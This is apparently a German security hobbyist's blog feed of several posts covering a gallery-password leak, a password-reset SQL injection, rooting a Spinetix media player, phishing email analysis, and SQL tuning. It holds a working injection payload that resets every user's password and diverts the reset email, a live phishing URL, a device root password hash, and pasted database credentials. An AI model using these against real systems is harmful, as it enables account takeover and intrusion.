Skip navigation

Zufaelligerweise bin ich ueber ein Gallery gestolpert, die mir zuanfangs auch noch recht gut gefallen hat. Leider ist sie ein wenig Javascript lastig.
Auch kann fuer einzelne Ordner ein Passwortschutz eingebaut werden, welcher dann lustigerweise so aussieht:

Das sollte einem bekannt vorkommen. Wenn man auf Abbrechen klickt, wird auch ein alert-Dialog angezeigt. Dementsprechend wird es wahrscheinlich ueber Javascript geregelt.
Und dem ist auch so.
Beim Laden der Gallerien wird ein Ajax Call ueber cpaint gemacht, der eine bestimmte PHP Funktion aufruft.

cp.call( base_url+'libraries/ajax.gateway.php',
			'get_galleries',
			updateGalleries );

Jetzt kann man entweder im SourceCode suchen, wie genau diese Funktion aufgerufen wird, weil wahrscheinlich wird ein Post oder Get Parameter gesetzt, oder man wirft mal eben wireshark an:

Es wird also ueber GET uebertragen. Nun denn…wir wissen auch was rauskommt:

Brautfotos:7:rupertundbirgit:Brautfotos\u000a|Feier:8:rupertundbirgit:Feier\u000a|Hochzeit:63:rupertundbirgit:Hochzeit\u000a|hz gramss 1:634:|hz gramss 2:181:|hz gramss 3:0:|hz gramss standesamt:87:|Standesamt:8:rupertundbirgit:Standesamt\u000a|

Die einzelnen Gallerien sind durch “|” bzw sogar “\u000a|” voneinander getrennt. Intern ist es: “Name”:”id”:”passwort”:”Name?”
Somit haben wir die Passwoerter fuer die einzelnen Gallerien.

so long.

Ich bin bei einer Sicherheitsueberpruefung ueber folgenden Code gestolpert:

 
if ($_POST["sender"] == "PassForm") {
   if ($_POST["mail"] == "") {
      buildForm(&$smarty, 2);
      return;
   }
   $id = existMail($_POST["mail"]);
   if (!$id) {
      buildForm(&$smarty, 1);
      return;
   }
   $pass = createNewPassword();
   if (!$pass) {
      $smarty->assign("error", "Kennwortgenerierung fehlgeschlagen!");
      $smarty->display("pass_failed.html");
      return;
   }
   if (!saveNewPassword($pass, $id)) {
      $smarty->assign("error", "Datenbankzugriff fehlgeschlagen!");
      $smarty->display("pass_failed.html");
      return;
   }   
   if (!sendMessage($_POST["mail"], $pass)) {
      $smarty->assign("error", "E-Mail-Versand fehlgeschlagen!");
      $smarty->display("pass_failed.html");
      return;
   }
 
}
 
function existMail($mail)
{
   global $dsn;
   $db = DB::connect($dsn);
   $query = "SELECT id FROM User WHERE accountName LIKE '".$mail."' OR eMail LIKE '".$mail."';";
   $id = $db->getOne($query);
   if (PEAR::isError($id)) { // Fehler
      return false;
   }
   return $id;
}
 
 
function saveNewPassword($password, $id)
{
   global $dsn;
 
   $db = DB::connect($dsn);
   $query ="UPDATE User SET accountPW = ENCRYPT('".$pass."') WHERE id = '".$id."';";
   $result = $db->query($query);
   if (PEAR::isError($result)) {
      return false;
   }
   return true;
}
 
function sendMessage($mail, $pass)
{
   // Betriebs-E-Mail-Adresse
   $to = $mail;
 
   $subject  = "Ihr neues Kennwort";
 
   $header  = "From: xxx <xxx@xxx.xxx>\r\n";
   $header .= "Content-type: text/plain; charset=UTF-8; format=flowed\r\n";
 
   $message  = "Hallo lieber Leser,\n\n";
   $message .= "auf Ihre Anfrage wurde für Sie ein neues Kennwort generiert.\n\n";
   $message .= "Hier sind ihre Benutzerdaten:\n";
   $message .= "Benutzername: ".$mail."\n";
   $message .= "Kennwort....: ".$pass."\n\n";
   $message .= "Für Rückfragen stehe ich Ihnen gerne zur Verfügung.\n\n";
 
 
   if (mail($to, $subject, $message, $header)) {
      return true;
   }
   else {
      return false;
   }
}

Es sollte relativ ersichtlich sein, dass schon im ersten Teil eine SQL Injection moeglich ist. Man kann aber noch einen Schritt weitergehen.
Die PEAR-Klasse liefert bei getOne() nur eine Zeile zurueck. Bei einem Element geht sie sogar soweit, dass direkt in die Variable als Wert abzuspeichern. Dieser Wert wird auch nicht weiter ueberprueft, sondern direkt an den UPDATE Befehle gefuettert.
Die Ueberlegung ist also in der Variable $id einen SQL Befehl abzulegen, der dann UPDATE beeinflusst.
Dies ist garnicht so schwer, wie es am Anfang ausschaut:

sender=PassForm&mail=-1' UNION select ("' or '1'='1") --

Wir gehen davon aus, dass kein Accountname “-1″ existiert. Demnach liefert der erste Select nichts zurueck. Das 2. Select liefert meine noetige Injection als String zurueck, welches in $id abgespeichert wird. “–” leitet einen Kommentar ein. Der Query, der dann auf die Datenbank losgelassen wird, sieht dann so aus:

SELECT id FROM Users WHERE accountName LIKE '1' UNION SELECT (" ' or '1'='1") -- ' OR eMail LIKE '1' UNION select (" ' or '1'='1") -- '

Damit haben wir $id=”‘ or ’1′=’1″ und unser Update wird auf diesen Query erweitert:

UPDATE Users SET accountPW = 'pass' WHERE id = '' OR '1'='1';

Damit wird fuer jeden Benutzer in der Datenbank das Passwort neu gesetzt. Natuerlich kann auch fuer einzelne Benutzer gesetzt werden.
Leider hab ich keinen Einfluss auf das Passwort, was es mir unmoeglich macht ein eigenes Passwort zu setzen. Aber ich weiss, dass eine Email rausgeschickt wird. Da wir auch wissen, dass man bei mail() mehrere Adresse durch ein Komma getrennt uebergeben koennen, erweitern wir unseren Befehl noch ein wenig:

mail=-1'%20UNION%20select%20("%20'%20or%20'1'='1")%20--%20,test@test.org&sender=PassForm

Damit wird die Email an 2 “EMail”-Adressen geschickt, wovon nur eine wirklich gueltig ist.

so long

Wir hatten das seltsame Phaenomen, dass ploetzlich eine Website nichtmehr ging. Nach suchen im Quelltext, Abfragen der SQL Datenbank per Hand und endlos vielen Logssichtungen ist uns etwas seltsames aufgefallen: Das /tmp Verzeichnis gehoerte einem ominoesem User und hatte seltsame Rechte.
Wir konnten uns dies zuanfangs nicht Erklaeren, bis uns jemand gesagt hat er habe darin eine tar entpackt hat.
Nachdem wir uns die tar angeschaut haben, war relativ klar, was passiert ist.
Aber erstmal ein Bild, vielleicht kommt ihr selber drauf:

Eigentlich sollte jetzt schon klar sein was passiert. Im Archiv restore.tar ist ./ gepackt. Natuerlich hat dieses ./ andere Rechte und versucht sie dementsprechend anzupassen.
Zuerst dachten wir uns, dass das ein Bug sei. Aber wenn man laenger drueber nachdenkt: Expected Behaviour!

Was fuer Moeglichkeiten gibt es nun: die eine waere ein Unterverzeichnis tiefer zu gehen und darein zu entpacken.
Die andere Moeglichkeit ist ./ zu loeschen:

tar --delete --no-recursion -f restore.tar ./

Natuerlich alles nicht so prickelnd. Man sollte lieber beim Packen aufpassen nicht ./ sondern ./* zu packen.

Vor ungefaehr ewig wurde sogar in Debian ein Bug Report eingeschickt:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=605425

Der das Problem naeher beschreibt. Aber wie schon gesagt, ist das in meinen Augen kein Bug.

so long

Meine Mutter hat vorhin eine Interessante Mail bekommen und mich vorhin angerufen, ob sie dem trauen kann:

(Hinter dem Link verbirgt sich eine Phishing Attack…Bitte vorsicht!)

Betreff: Ihre neue PACKSTATION-Goldcard mit eingebauten RFI-Chip kann nun bestellt werden! 05.04.2012
Datum: Thu, 5 Apr 2012 17:04:03 +0400 (MSD)
Von: Kundenbuchhaltung <noreply@pack-stationdhl3.info>
An: xxxx@xxxxx
 
Bestellung Ihrer neuen Goldcard
05.04.2012
 
Sehr geehrter Kunde,
 
vielen Dank für Ihre Anmeldung bei unserem Service. Wie Sie bereits aus anderen Newsletter erfahren haben, wurden sämtliche PACKSTATIONEN deutschlandweit erneuert. Nun ist eine Goldcard zur Abholung Ihrer Pakete unvermeidbar geworden.
 
Fordern Sie jetzte Ihre neue Goldcard an, und profitieren Sie von vielen Erneuerungen, wie z.B. dem eingebauten RFI-Chip für mehr Sicherheit. So können Sie problemlos den Packstation-Service nutzen und sich gleichzeitig einige Überraschungen sichern - und das alles völlig kostenlos und unverbindlich.
 
Jetzt <a href="http://mmm64reg.ru/modules/mod_system/1583582185328519523593150305/">anfordern!</a>
 
Und so einfach geht's:
Bestellen Sie sich gleich hier Ihre neue Goldcard:
Geben Sie Ihre PostNummer, Ihr Online-Passwort sowie Ihren PIN: Die Postnummer finden Sie auf Ihrer derzeitigen Goldcard an.
 
Ihre Goldcard wird Ihnen dann innerhalb von 6-8 Wochen an die von Ihnen hinterlegten Lieferadresse verschickt. Sobald die neue Kundenkarte verschickt wird, werden Sie umgehend per eMail und/oder SMS benachrichtigt.
 
Ich hoffe, die Nutzung unseres PACKSTATION Services überzeugt Sie! Es würde uns freuen, wenn Sie einfach mal Ihre nächste Bestellung im Internet an eine PACKSTATION Ihrer Wahl schicken lassen, deutschlandweit. Es ist wirklich kinderleicht, probieren Sie es aus!
 
Mit freundlichen Grüßen
 
Dittmar Kleinbauer
im Auftrag von DHL
 
PS: Sollten Sie Ihrenr PIN vergessen haben - unser Kundenservice steht Ihnen täglich von 7 - 22 Uhr unter der Hotline 01807/364364 (9 cent je angefangene Minute im Festnetz ,Kosten bei Mobil abweichend, von allen PACKSTATIONEN-Geräten aus kostenlos) zur Verfügung.

Zuerst einmal: Was ist ein RFI-Chip? Der Letzte Buchstabe ist Ausnahmsweise nicht Chip im Englischen, weil sonst wuerde es RFIC sein, was komisch klingen wuerde.
Dann machen wir mal mit der Email weiter “noreply@pack-stationdhl3.info”, srsly? (hier die Eule vorstellen)
Sie haben recht, dass eine Karte unvermeidbar ist, wegen dieser Phishing Attacks. Man MUSS seine Karte einfuehren und kann nicht wie frueher einfach die Nummer eingeben.

Liebe Packstation Leute, Eure Karte wurde vom shackspace schon entschluesselt und zeigt, dass alles auf die Karte zu legen "False Hope" ist! Das ist Security by Obscurity!

Wieder ein RFI-Chip…es ist also kein Rechtschreibfehler…nein, sie haben es wirklich nicht verstanden m(

Wer sich den Link mal anschaut: http://mmm64reg.ru/modules/mod_system/1583582185328519523593150305/
HALLO?!?
Dafuer ist die Seite wenigstens ordentlich gemacht:

Es sollte auffallen, dass der Captcha ein Bild ist und sich bei einem reload nicht veraendert, untypisch fuer Captcha.

Vielmehr sollte einem das mit der PIN Verdaechtig vorkommen, DHL Fragt dich NIEMALS nach deiner Pin…

Lustig ist auch, dass wenn man auf einen Link klickt, wird man auf die DHL Seite geleitet …

Fazit: Nett gemacht..aber da geht doch noch mehr, oder?

so long

Ich habe gestern ein neues Spielzeug in die Hand gekriegt. Mein eigentliches Ziel war es, es nicht aufzuschrauben, bin aber gaenzlich an der Vorgabe gescheitert. Diese Box hat mich die letzten 2 Tage fast zur Weissglut getrieben und ich habe viel Ausprobiert und viel gescheitert.

Um euch mal einen Ueberblick ueber das Geraet zu geben, werde ich NICHT die ganzen Spezifikationen aufzaehlen, weil man diese auch einfach nachlesen kann: spinetix hmp130
Das Teil ist nicht gerade billig. Man munkelt es bewegt sich um die 1200 Euro.
Waehrend des Updates konnte ich das Update Package rausfiltern, was mir einige Insights in das Geraet gegeben hat, weil dieses naemlich so aussieht:

--__===== SPINETIX INSTALLATION IMAGE =====__--
--__===== HEADER START =====__--
VERSION=2.2.3
RELEASE=0.2.13448
PRODUCT=HMP130
SIGNATURE=-----BEGIN PGP SIGNATURE-----
SIGNATURE=
SIGNATURE=
SIGNATURE=
SIGNATURE=
SIGNATURE=-----END PGP SIGNATURE-----
--__===== HEADER END =====__--
<md5sum from header>  -
--__===== SCRIPT START =====__--
<simple bash script>
--__===== SCRIPT END =====__--
<md5sum from script> -
--__===== ARCHIVE =====__--
<some tar.gz archive with data>

im tgz Archiv findet sich die komplette Root Struktur eines Unix Systems…prickelnd denkt man sich, aber da wurde soviel gebastelt, dass es nicht spass macht ein nicht lauffaehiges zu haben. Eine Root-Shell musste her. Ich wusste ja, dass ein was Unixiges drauf laeuft (erste Vermutung FreeBSD).
Es gibt auch einen sshd

root@spx-hmp-<id der box>:/etc/init.d# ls
README	      hwwatchdog	   ntp-drift-fixup	  setserial
apache	      identify.sh	   ntpdate		  single
avahi-autoip  ifupdown		   ntpreset.sh		  skeleton
avahi-daemon  ifwatchdog	   nviboot		  snmpd
bootclean.sh  init-functions	   ppp			  splash
bootcount     ipv6.sh		   proc.sh		  spxdevs.sh
bootlogd      klog-dump.sh	   procps.sh		  spxformat.sh
bootmisc.sh   makedev		   raperca		  spxfschange.sh
bootpause.sh  media-mount.sh	   raperca-admin	  spxtest
checkfs.sh    module-init-tools    raperca-content-fixup  spxtest-watchdog
checkroot.sh  mountall.sh	   raperca-mdns		  ssh
config.sh     mountnfs.sh	   raperca-watchdog	  ssh-delayed
cron	      mountswap.sh	   rc			  syslog
devpts.sh     mountvirtfs	   rcS			  udev
devshm.sh     mountvirtfs-early    reboot		  umountfs
fc-cache.sh   msttcorefonts	   resolver.sh		  umountnfs.sh
halt	      mtab.sh		   rmnologin		  updater
hostname.sh   networking	   rootsize.sh		  uploader
hosts.sh      nfsroot-dhcpcd-hack  sendsigs		  urandom
hotplug       nscd		   serconsole.sh	  vidmode
hwclock.sh    ntp		   setdate.sh		  watchdog

Ein “Pwn”-Package kann man nicht so einfach zusammenstellen, weil man es signen muss, und dazu hab ich den Private-Key nicht, der von noeten waere. Ich kann nur Pruefen, ob ein Paket auch wirklich von der Quelle kommt, weil auf der Box der Public-Key hinterlegt ist :)

Also das Package Update faellt schonmal ins Wasser, bevor wir nicht mehr drueber wissen.
Von Kollegen habe ich gehoert, dass sich in der Karte eine SD-Karte befinden soll,auf der das gesamte System zu finden ist.
Das deckt sich auch mit dem Installer-Bash-Script, der eine SD Karte formatiert und in 3 Teile aufteilt.

nrblocks="$(sfdisk -s /dev/mmcblk0)"

Nachdem die Moeglichkeit ueber Paket-Injection ausfaellt, muss ich wohl in den sauren Apfel beissen und die Box aufschrauben:

Im naechsten Bild, seht ihr auch den Angriffspunkt eingekreist. Darin befindet sich eine 4gb SD Karte mit insgesamt 3 Partitionen

Die erste Partition ist die System Partition, natuerlich sehr interessant. Auf der 2. Werden die Daten gespeichert und ist mit 3gb die mit abstand groesste. Die letzte ist “nur” ein Backup eines alten Systems und existiert auch nur, wenn das Backup aufgehoben werden soll.

Nun hiess es erstmal verstehen, was machen die einzelnen Prozesse…mir viel auf, dass ssh-delayed als service selten aufgerufen wird. Es gibt aber einen Fall, und zwar gibt es in einer Maintenance Klasse des Frontends 2 Methoden:

    function checkSSH () {
        exec('/etc/init.d/ssh-delayed status', $dummy, $ret);
        return $ret==0;
    }
 
    function manageSSH( $start=true ) {
        if ( $start ) {
            exec('/etc/init.d/ssh-delayed start');
        } else {
           exec('/etc/init.d/ssh-delayed stop');
        }
    }

Ich war mir sicher, dass sowas existieren muss, irgendwie muessen die ja den SSH Dienst starten. Nur haette ich das ueber ein signiertes Package gemacht. Entweder man implementiert den Button nun selber, oder man updated auf die neue Firmware, die das mit sich bringt versteckt darunter:

Das startet auf Port 22 eine Shell. Das nuetzt uns aber ziemlich wenig. Wir kennen weder das Root-Password, welches wir nur verschluesselt besitzen, noch besitzen wir den Private-Key zu dem eingetragenen Public-key des Supports.
Wer sich berufen fuehlt, hier ist mal das RootPasswort. Es ist ein FreeBSD md5 Hash:

root:$1$U4.8u2Dh$UvJpU6AsN912qFZGBvUtN/:0:0:root:/root:/bin/bash

Wir koennen jetzt einfach das Root-Password natuerlich austauschen. Aber das ueberschreibt sich bei einem Update wieder.
Es gibt aber ein Verzeichnis, das bleibt…und da werden ssh-keys eingetragen, was uns die ganze Sache natuerlich erleichtert:

root@spx-hmp-idderbox:/usr/share/resources/default/ssh# ls
root-authorized_keys

unseren key da eingetragen, haben eine Root-Shell :)

Please Keep in Mind: Das Eintragen muss ich durch Modifikation der SD-Karte machen. Demnach muss die Box aufgeschraubt werden, wodurch die Garantie NATUERLICH erlischt.
Aber ich werde mich in den naechsten Wochen mit einer tieferen Analyse der Software beschaeftigen. Vielleicht findet sich noch eine Backdoor in der Key-Verification :)

und um zu Zeigen, dass ich wirklich eine Root-Shell habe:

Jetzt ist die Frage, ich habe mir MontaVista Linux Professional nicht angeschaut…d.h. keine Ahnung worauf es direkt basiert.

Leider ist es nur ein halber Hack und der Hackvalue ist sehr gering. Er ist zurzeit nur zur Analyse der Box im laufenden Betrieb gedacht und Versuchsweise Nachpatchen mit OpenVPN oder aehnlichem :)
Ich betrachte es erst als geknackt, wenn ich per Remote es veraendern kann!
Theoretisch kann ich den Public-Key austauschen, aber dann muss ich jedes Update Package intercepten und neu signieren :-/ zudem muss ich jedes Geraet anfassen und die SD neu schreiben und bei jedem Update aufpassen, dass es mir keine Configs ueberschreibt…viel zu viel Arbeit!
An den Private Key werde ich nicht kommen…der liegt auf den Rechnern/Servern von Spinetix, demnach unerreichbar.

so long

Eigentlich ist es ja nicht der Rede wert, aber wir mir ein wenig langweilig und nachdem ich von @BakeRolls den PizzaTimer in Java gesehen habe, dachte ich mir, dass sich das doch sicher auch als Oneliner in Bash umsetzen laesst :)

sec=$1; 
while [ $sec -gt 0 ]; do 
    echo -en "\r${sec}";
    sec=$(($sec-1));
    sleep 1; 
done;

Danach kann mplayer oder aplay oder aehnliches gesetzt werden um den Ton abzuspielen :)
Hatte nicht die Identischen Funktionalitaeten, aber als einfacher Timer, sollte es reichen…wobei ich eher ein: sleep $sec;mplayer verwende :D
aber jedem das seine ;)

Ist ganz nett, aber wirklich nicht der Rede wert. Vielleicht fuer jemand, der sich nicht so gut in Bash auskennt und mal sehen moechte, wie man Rechnet, oder mir \r arbeitet :)

so long

Ich denke viel erklaeren muss man hier nicht. Man sollte sich mal das mysql_connect anschauen :) , deswegen hab ich es eigentlich gefunden.
Aber es ist natuerlich in der Anmeldung auch eine SQL-Injection moeglich ;)

nett, nett…vielleicht ist das ja so auch online auf der Seite…keine Ahnung, nicht getestet

<?php
if (isset($_POST['submit']))
{
	$submit = $_POST["submit"];
	$fullname = strip_tags($_POST["fullname"]);
	$username = strtolower(strip_tags($_POST["username"]));
	$password = strip_tags($_POST["password"]);
	$repeatpassword = strip_tags($_POST["repeatpassword"]);
	$date = date("Y-m-d");
	$email = strtolower(strip_tags($_POST["email"]));
 
	if($submit) {
		//connect to database
		$connect = mysql_connect("196.220.60.237:3307","synju","lockdown");
		if(!$connect) {
			die(mysql_error());
		}
 
		//select table
		mysql_select_db("phplogin");
 
		//check for existence
		if($fullname&&$username&&$password&&$repeatpassword) {
			//check for duplicate usernames
			$namecheck = mysql_query("SELECT username FROM users WHERE username='".$username."'");
			$count = mysql_num_rows($namecheck);
			if($count==0) {
				//check if passwords match
				if($password==$repeatpassword) {
					//check length of username
					if(strlen($fullname)>25||strlen($username)>25) {
						echo "max limit for username/fullname is 25 characters";
					} else {
						//check password length
						if((strlen($password)<6)||(strlen($password)>25))
						{
							echo "password must be between 6 and 25 characters";
						}
						else //register the user
						{
							//encrypt passwords
							$password = md5($password);
							$repeatpassword = md5($repeatpassword);
 
							//generate random number for activation process
							$random = rand(23456789,98765432);
 
							//insert data into the database
							$queryreg = mysql_query("INSERT INTO users (id,fullname,username,password,date,random,activated,email) VALUES ('','".$fullname."','".$username."','".$password."','".$date."','".$random."','0','".$email."')");
							// File WRITE
							//preserve id for email use
							$lastid = mysql_insert_id();
 
							//send activation email
							$to = $email;
							$subject = "Activate your account";
							$headers = "From: admin@hireanerd.co.za";
							$server = "localhost";
							$body = "Hello ".$fullname.",\n\nclick link below to activate account\nhttp://www.hireanerd.co.za/phplogin/activate.php?id=".$lastid."&code=".$random."\n\nthanks";				
							ini_set("SMTP",$server);					
							//function to send email
			mail($to,$subject,$body,$headers);			
							//notify user that they have been registered
							echo "registered<br>check email for account activation<br><a href='index.php'>return to login page</a>";
						}
					}
				} else {
					echo "passwords do not match";
				}
			} else {
				echo "username already in use";
			}
 
		} else {
			echo "complete all fields to register<br>";
		}
	}
}
?>

Der eigentlich Code war ein wenig laenger, aber ich habe ihn auf das wesentliche gekuerzt. (Quelle: http://pastebin.com/tN79aXZQ)

so long

Heute eroeffnet endlich der B4ckspace in Bamberg. Vor nicht allzulanger Zeit hat sich in Bamberg ein Hackspace gegruendet. Sie haben nun lange damit zugebracht alles zu renovieren und die Raeume auf Vordermann zu bringen. Und endlich ist es soweit. Leider bin ich nichtmehr so haeufig in Bamberg, als dass es sich lohnen wuerde eine Mitgliedschaft einzugehen, aber so ab und an vorbeischauen, wenn er am Wochenende auf hat, werd ich denke ich mal.

Um die Eroeffnung Spektakulaer zu halten, wird es Vortraege und Workshops geben. Heute ist ab 18 Uhr Einlass und dann um 21 Uhr die Keynote.
Ich denke, ich werde so gegen 19-20 Uhr aufschlagen, weil ich vorher noch arbeiten muss. Und dann erst mit dem Zug ueber Nuernberg nach Bamberg komm.

Am Sonntag dann werden wir unsere Vortrag ueber Bit-Staring in Bezug auf ein RFID-Bezahlsystem halten (13 Uhr). Mal sehen, vielleicht setz ich die Folien hier auch online.

Es gibt noch Tickets ohne Ende fuer die 2 Tage. Wer nicht die Katze im Sack kaufen will:
Fahrplan

Aber mehr Informationen gibt es natuerlich unter:
Event – TakeOff

vielleicht sieht man sich dort :)

so long

Ich bin vor einiger Zeit ueber einen Artikel gestolpert, der Chaos in der Mathematik beschrieb.
Sie demonstrierten anhand einer einfachen Funktion mit einer Minimalen Aenderung des Ausgangswerts riese Veraenderungen rauskamen nach einige Durchlaeufen.
Stellen wir uns mal die Funktion vor: c_{n+1} = c_n^2-2

0.5 0.5000000000001
-1.75
 1.0625
-0.87109375
-1.24119567871
-0.459433287149
-1.78892105466
 1.2002385398
-0.559427447572
-1.6870409309
 0.846107102544
-1.28410277103
-0.351080073445
-1.87674278203
 1.5221634699
 0.316981629099
-1.89952264681
 1.60818628576
 0.586263129697
-1.65629554276
 0.743314924959
-1.44748292233
 0.0952068104469
-1.99093566324
 1.96382481518
 1.85660790471
 1.44699291184
 0.0937884869186
-1.99120371972
 1.96489225343
 1.8608015676
 1.46258247398
 0.139147493204
-1.75
 1.0625
-0.871093750001
-1.24119567871
-0.459433287153
-1.78892105466
 1.20023853979
-0.559427447597
-1.68704093088
 0.846107102448
-1.28410277119
-0.351080073029
-1.87674278232
 1.522163471
 0.31698163244
-1.8995226447
 1.60818627771
 0.58626310382
-1.6562955731
 0.743315025468
-1.44748277291
 0.0952063778795
-1.99093574561
 1.96382514315
 1.85660919288
 1.44699769507
 0.0938023295368
-1.99120112297
 1.96488191213
 1.86076092862
 1.46243123347
 0.138705112641

Bei einer minimalen Veraenderung des Seedes faellt das relativ schnell ins Gewicht.

Ich habe das mal versucht zu plotten mit 0.5 und 0.501:

fake-0.5

fake-0.5

fake-0.501

fake-0.501

Wenn man es mit einem Bild aus einem Random Number Generator aus Python vergleicht:

real

real

erkennt man garnicht soooviel unterschied :)

Die Frage ist nun, wie generiert man den Seed…aus der Zeit? Das Problem hatten wir ja schon bei RFID Chips :) Aber Zeit scheint noch die beste Idee zu sein.

Sieht zumindest relativ angenehm aus.

Ich betrachte in diesem Punkt 2 Statii. d.h. ich schau nicht welchen Wert der genau ist, sondern mache nur eine: Ist er Plus oder Minus.
aber seht selbst: https://github.com/nv1t/Fakerandom/

so long

Ich sass heute den ganzen Arbeitstag an einem SQL Query. Ich habe schon lange nichtmehr soviele Produktives ueber SQL gelernt, wie der gestrige Tag. Moechte euch jetzt einige interessante Ergebnisse zeigen.
Spaeter fueg ich noch ein paar Messergebnisse dazu, aber die grosse Datenbank liegt auf der Arbeit.

Problem:

Ich hab 1ne Datenbank in der die geparste Postfix Log liegt. Diese Datenbank ist in einer Art “Key:Value” Storage angelegt um die Arbeit damit ein wenig zu erleichtern. Das bedeutet, dass im Feld “message” die Daten als JSON vorliegen und daher nicht wirklich von SQL verarbeitet werden koennen. Dies wirft Probleme auf.
Ich habe im Prinzip eine zum Teil geparste Logfile. Der finale Status einer Mail wird ueber die Intelligente Zusammenfuehrung der History gemacht. (Vielleicht geb ich euch da mal die Klasse fuer, noch ist sie im Roh Zustand)
Nunja, es sollen nun aber beispielsweise alle Nachrichten angezeigt werden, die “bounced” sind.
Man moege meinen ein einfaches:

SELECT mailid 
FROM history 
WHERE message LIKE "%bounced%" 
GROUP BY mailid

wuerde ausreichen um alle mailids zu kriegen. Aber falsch gedacht. Das sind alle Nachrichten, die jemals einen Status “bounced” hatten. Wenn wir das nun einschraenken wollen: “bounced und nicht sent”, dann kriegen wir ein Problem, oder?

Hoere ich ein JOIN?

Ich hoer euch schon schreien: “Das geht ueber ein LEFT JOIN”. Das wurde mir auch von den SQL-Gurus gesagt. Die Abfrage wuerde dann so lauten, oder so aehnlich:

SELECT aa.mailid 
FROM history AS aa 
LEFT JOIN (
    SELECT mailid 
    FROM history 
    WHERE message LIKE "%sent%" 
    GROUP BY mailid
) AS ab 
ON (aa.mailid = ab.mailid) 
WHERE 
    (message LIKE "%bounced%") AND 
    ab.mailid IS NULL 
GROUP BY mailid

Wenn man nicht weiss, was JOIN genau macht, Wikipedia beschreibt es Klasse mit Beispielen (Wikipedia: Join_(SQL)#Left_outer_join)
Was passiert hier eigentlich: Er nimmt die Liste der mailids die “bounced” sind. Fuegt das ganze mit einem JOIN an der mailid zusammen, die “sent” sind.
Nachdem es ein LEFT OUTER JOIN ist, wird er die “bounced”-Liste bevorzugen, d.h. wenn dazu kein equivalente mailid aus der “sent”-Liste vorhanden ist, ist das Feld NULL.
Wenn was Feld NULL ist, Filter ich das ueber ein WHERE raus.
Und dann mach ich die Liste der mailids noch eindeutig.

Das ist an sich nicht schlecht und funktioniert auch, wirft aber Probleme auf, wenn man nach 2 oder 3 Elementen Limitieren will. Wenn ich alle Nachrichten woellte, die “bounced” sind, nicht “sent” und noch in der Mailqueue, also nicht “removed”, saehe das so aus:

SELECT aa.mailid 
FROM history AS aa 
LEFT JOIN (
    SELECT mailid 
    FROM history 
    WHERE 
        message LIKE "%sent%" OR
        message LIKE "%removed%" 
    GROUP BY mailid
) AS ab 
ON (aa.mailid = ab.mailid) 
WHERE 
    (message LIKE "%bounced%") AND 
    ab.mailid IS NULL 
GROUP BY mailid;

Die Zeit betraegt dann aber um die 30-40 Sekunden und ist wirklich nichtmehr zu verkraften.

Warum ist der Benchmark so unheimlich schlecht?

Das Problem ist das JOIN. Man muss es sich wie eine doppelte For-Schleife vorstellen, der alle Eintraege miteinander vergleicht. Je mehr Elemente er in einer der beiden Listen hat, desto laenger wird die Laufzeit.

Any Solution

Mir wurde auch die Funktion ANY ans Herz gelegt. Ja, sowas gibt es:

SELECT mailid
FROM history 
WHERE mailid=any(
    SELECT FROM mailid 
    FROM history
    WHERE (
        message LIKE "%sent%" OR
        message LIKE "%removed%"
    )
    GROUP BY mailid 
) AND message LIKE "%bounced%";

Probiert es garnicht erst: das ist noch schlimmer als JOIN bei grossen Datenmengen :)

Was jetzt?!?

Ich suchte also Krampfhaft nach einer anderen Moeglichkeit. Bin endlos mit Kaffee in der einen Hand und Stift drehend in der anderen durch die Flure gewandert.
Wir wissen, dass wir mit

SELECT mailid 
FROM history 
WHERE (
    message LIKE "%sent%" OR 
    message LIKE "%removed%"
) 
GROUP BY mailid

eine Liste aller mailids kriegen, die nicht in der 2. Liste

SELECT mailid 
FROM history 
WHERE message LIKE "%bounced%"
GROUP BY mailid;

enthalten sein duerfen.
Wir muessen also irgendwie entscheiden, ob wir da eindeutige Elemente drin haben.

Theoretisch koennen wir beide Listen zusammenschmeissen mit einem UNION und koennen darauf mithilfe eines Subquerys ein GROUP BY anwenden

SELECT mailid 
FROM 
    (
        SELECT mailid 
        FROM history 
        WHERE (message LIKE "%bounced%") 
        GROUP BY mailid
    ) UNION (
        SELECT mailid 
        FROM history 
        WHERE (message LIKE "%sent%" OR message LIKE "%removed%") 
        GROUP BY mailid
    )
AS T
GROUP BY mailid;

Damit haette ich eine eindeutige Liste von mailids die entweder bounced, sent oder removed sind. Ich will aber eindeutige Elemente haben. Wir wissen, dass wenn sie eindeutig sind, wird das Element ohne das GROUP BY mehrfach auftreten. Gluecklicherweise bietet SQL eine HAVING Klausel und ein COUNT an. Ein HAVING ist im Prinzip ein WHERE auf die Felder der Ausgabe. Ziemlich praktisch, wenn man Sachen, die man ueber ein SUM() oder so etwas berechnet hat, nochmal einschraenken moechte. Ich verwende es hier um die doppelten Zeilen zu zaehlen und nur die mit Zeilenanzahl=1 zurueckzugeben:

SELECT mailid 
FROM 
    (
        SELECT mailid
        FROM history
        WHERE (message LIKE "%bounced%") 
        GROUP BY mailid
    ) UNION (
        SELECT mailid 
        FROM history 
        WHERE (message LIKE "%sent%" OR message LIKE "%removed%") 
        GROUP BY mailid
    )
AS T
GROUP BY mailid
HAVING COUNT(*) = 1;

Womit ich eine Liste aller mailids, die nur 1mal auftreten. Nun haben wir aber ein Problem, mit dem ich etwas laenger gekaempft habe! Ich kann nicht sagen, ob die Nachricht nur in bounced, sent oder removed Auftritt.
Die Loesung meines Problems war eine Variable, die ich vor dem UNION setze! :)
Damit krieg ich ein weiteres Feld:

SELECT mailid
FROM 
    (
        SELECT mailid,(@t:="1") AS stat        
        FROM history
        WHERE message LIKE "%bounced%" 
        GROUP BY mailid
    ) UNION (
        SELECT mailid,(@t:="0") AS stat
        FROM history 
        WHERE (
            message LIKE "%sent%" OR 
            message LIKE "%removed%"
        ) 
        GROUP BY mailid
    )
AS T
GROUP BY mailid
HAVING COUNT(*) = 1 AND stat="1";

Diese Abfrage ist bedeutend schneller, weil ich keine Vergleiche anstell.

Wer jetzt noch meckert, dass ich kein DISTINCT verwende und stattdessen ein GROUP BY nehme: Ich habe das Gefuehl, dass GROUP BY schneller ist und schon waehrend der Abfrage gruppiert, waehrend DISTINCT erst vor der Ausgabe noch eine Art: “sort | uniq” drueberlaufen laesst, kann ich aber nicht direkt bestaetigen, ist nur so ein Gefuehl.

Ich denke der groesste Bremser in dem Query wird jetzt das LIKE sein.
Ich denke man kann es noch verschnellern, wenn man eine andere Datenbank Struktur nimmt und das ordentlich im Vorfeld parsed. Aber bin mit der Moeglichkeit nun eigentlich ziemlich zufrieden und moechte die Erfahrung mit SQL nicht missen :)

